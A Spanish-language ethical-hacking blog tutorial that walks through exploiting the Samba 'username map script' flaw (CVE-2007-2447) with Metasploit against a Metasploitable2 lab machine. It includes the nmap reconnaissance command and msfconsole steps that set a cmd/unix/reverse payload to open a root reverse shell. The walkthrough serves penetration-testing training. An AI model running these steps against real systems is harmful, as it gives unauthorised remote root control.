Explotar Vulnerabilidad username map script de Samba con MSF

  • Posted on: 23 June 2014
  • By: ReYDeS

La funcionalidad MS-RPC (Micrososft Remote Procedure Call) en el demonio servidor smbd; el cual proporciona servicios para compartir archivos e impresión a clientes Windows; de Samba desde la versión 3.0.0 hasta la versión 3.0.25rc3 permite a los atacantes remotos la ejecución de comandos arbitrarios mediante metacaracteres shell involucrando la función SamrChangePassword, cuando la opción “username map script” está habilitada en el archivo smb.conf, y permite a los usuarios remotos autenticados ejecutar comandos mediante metacaracteres shell involucrando funciones MS-RPC en la gestión de la impresora remota y archivos compartidos.

Para la siguiente práctica se utilizará Metasploitable2 como objetivo de evaluación y Kali Linux.

Se utiliza el NSE de nombre “smb-os-discovery” de la herramienta nmap, la cual intenta determinar el sistema operativo, nombre de la computadora, grupo de trabajo, y tiempo actual sobre el protocolo SMB (Server Message Block) en los puertos 445 o 139. Esto se realiza iniciando una sesión con la cuenta anónima (o con una cuenta de usuario si es proporcionada, probablemente no haya diferencia); en respuesta a un inicio de sesión, el servidor devolverá toda esta información.

# nmap -n -Pn --script smb-os-discovery 192.168.0.16

La versión de Samba en el objetivo de evaluación está dentro del rango de versiones vulnerables. En consecuencia, existen altas probabilidades de realizar una explotación satisfactoria.

Ejecutar Metasploit Framework.

# /etc/init.d/postgresql start
# msfconsole

Buscar el modulo de nombre "usermap_script" utilizado el comando “search” en Metasploit Framework.

> search usermap_script

Se le indica a Metasploit Framework la utilización de este módulo utilizando el comando “use”. Para luego obtener la información de este usando el comando “info”.

> use exploit/multi/samba/usermap_script
> info

Se visualizan las opciones del módulo "usermap_script". Y se procede a definir la dirección IP del objetivo de evaluación en la variable “RHOST” utilizando el comando “set”.

> show options
> set RHOST 192.168.0.16

Se define el Payload a utilizar con el exploit. Para el caso de la presente práctica será el Payload de nombre “cmd/unix/reverse”. Luego de lo cual se muestran las opciones para el exploit y el Payload.

> show payloads
> set payload cmd/unix/reverse
> show options

El Payload requiere la definición de la variable de nombre “LHOST” con la dirección IP local, es decir asignada a Kali Linux, dado que se trata de un payload reverso. Luego de lo cual se ejecuta el exploit utilizando el comando “exploit”.

> set LHOST 192.168.0.12
> exploit

El exploit se ha ejecutado exitosamente, y se tiene acceso shell en modo linea de comandos con privilegios del usuario "root" en el objetivo de evaluación.

Fuentes:

http://www.rapid7.com/db/modules/exploit/multi/samba/usermap_script
http://cvedetails.com/cve/2007-2447
http://www.osvdb.org/34700
http://en.wikipedia.org/wiki/Microsoft_RPC
http://www.samba.org/samba/docs/man/manpages/smbd.8.html
http://www.sal.ksu.edu/faculty/tim/unix_sg/shell/metachar.html
http://nmap.org/nsedoc/scripts/smb-os-discovery.html

Sobre el Autor


Alonso Eduardo Caballero Quezada - ReYDeS
Instructor y Consultor en Hacking Ético, Forense Digital & GNU/Linux
Correo Electrónico: ReYDeS@gmail.com
Twitter: @Alonso_ReYDeS
LinkedIn: pe.linkedin.com/in/alonsocaballeroquezada
Facebook: https://www.facebook.com/alonsoreydes
Youtube: http://www.youtube.com/c/AlonsoCaballero
Resumen de mi CV: http://www.reydes.com/d/?q=node/1